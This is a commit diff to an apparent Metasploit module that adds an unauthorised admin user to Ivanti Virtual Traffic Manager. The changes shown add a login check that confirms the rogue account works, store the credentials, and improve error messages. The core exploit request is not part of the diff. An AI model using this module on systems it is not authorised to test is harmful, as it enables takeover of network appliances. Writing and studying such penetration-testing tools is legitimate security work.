Skip to content

Commit 765e9b9

Browse files
committed
Improved error handling
Improved error handling
1 parent 9c72a85 commit 765e9b9

File tree

1 file changed

+29
-6
lines changed

1 file changed

+29
-6
lines changed

modules/auxiliary/admin/http/ivanti_vtm_admin.rb

Lines changed: 29 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -39,8 +39,8 @@ def initialize(info = {})
3939

4040
register_options([
4141
OptString.new('TARGETURI', [true, 'Base path', '/']),
42-
OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username]),
43-
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]),
42+
OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username.gsub('.', '_')]),
43+
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(12)]),
4444
])
4545
end
4646

@@ -91,11 +91,34 @@ def run
9191
if title_tag
9292
title_text = title_tag.text.strip
9393
if title_text == '2'
94-
store_valid_credential(user: datastore['NEW_USERNAME'], private: datastore['NEW_PASSWORD'], proof: html)
95-
print_good("New admin user was successfully added:\n\t#{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")
96-
print_good("Login at: https://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}apps/zxtm/login.cgi")
94+
print_status('Request to add new admin user sent, verifying...')
95+
96+
form = Rex::MIME::Message.new
97+
form.add_part('form', nil, nil, 'form-data; name="_form_submitted"')
98+
form.add_part(datastore['NEW_USERNAME'], nil, nil, 'form-data; name="form_username"')
99+
form.add_part(datastore['NEW_PASSWORD'], nil, nil, 'form-data; name="form_password"')
100+
form.add_part('Login', nil, nil, 'form-data; name="form_submit"')
101+
102+
res = send_request_cgi(
103+
{
104+
'method' => 'POST',
105+
'uri' => normalize_uri(target_uri.path, 'apps', 'zxtm', 'login.cgi'),
106+
'ctype' => "multipart/form-data; boundary=#{form.bound}",
107+
'data' => form.to_s
108+
}
109+
)
110+
if res && res.code == 302 && res.headers.key?('Set-Cookie') && res.headers['Set-Cookie'].include?('ZeusTMZAUTH_')
111+
store_valid_credential(user: datastore['NEW_USERNAME'], private: datastore['NEW_PASSWORD'], proof: html)
112+
print_good("New admin user was successfully added:\n\t#{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")
113+
print_good("Login at: https://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}apps/zxtm/login.cgi")
114+
end
115+
116+
elsif title_text == '0' && html.to_s.include?('ERROR: Specified user already exists')
117+
fail_with(Failure::BadConfig, "Specified user already exists. Specify a different user name with 'set NEW_USERNAME <USER>'.")
118+
elsif title_text == '0' && html.to_s.include?('ERROR: Username must contain only: letters, numbers,')
119+
fail_with(Failure::BadConfig, "Specified username is invalid. Username must contain only letters, numbers, underscores (_), and hyphens (-). Specify a different user name with 'set NEW_USERNAME <USER>'.")
97120
else
98-
fail_with(Failure::UnexpectedReply, 'Unexpected string found inside the title tag: ' + title_text)
121+
fail_with(Failure::NotVulnerable, 'Unexpected string found inside the title tag: ' + title_text)
99122
end
100123
else
101124
fail_with(Failure::UnexpectedReply, 'title tag not found.')

0 commit comments

Comments
 (0)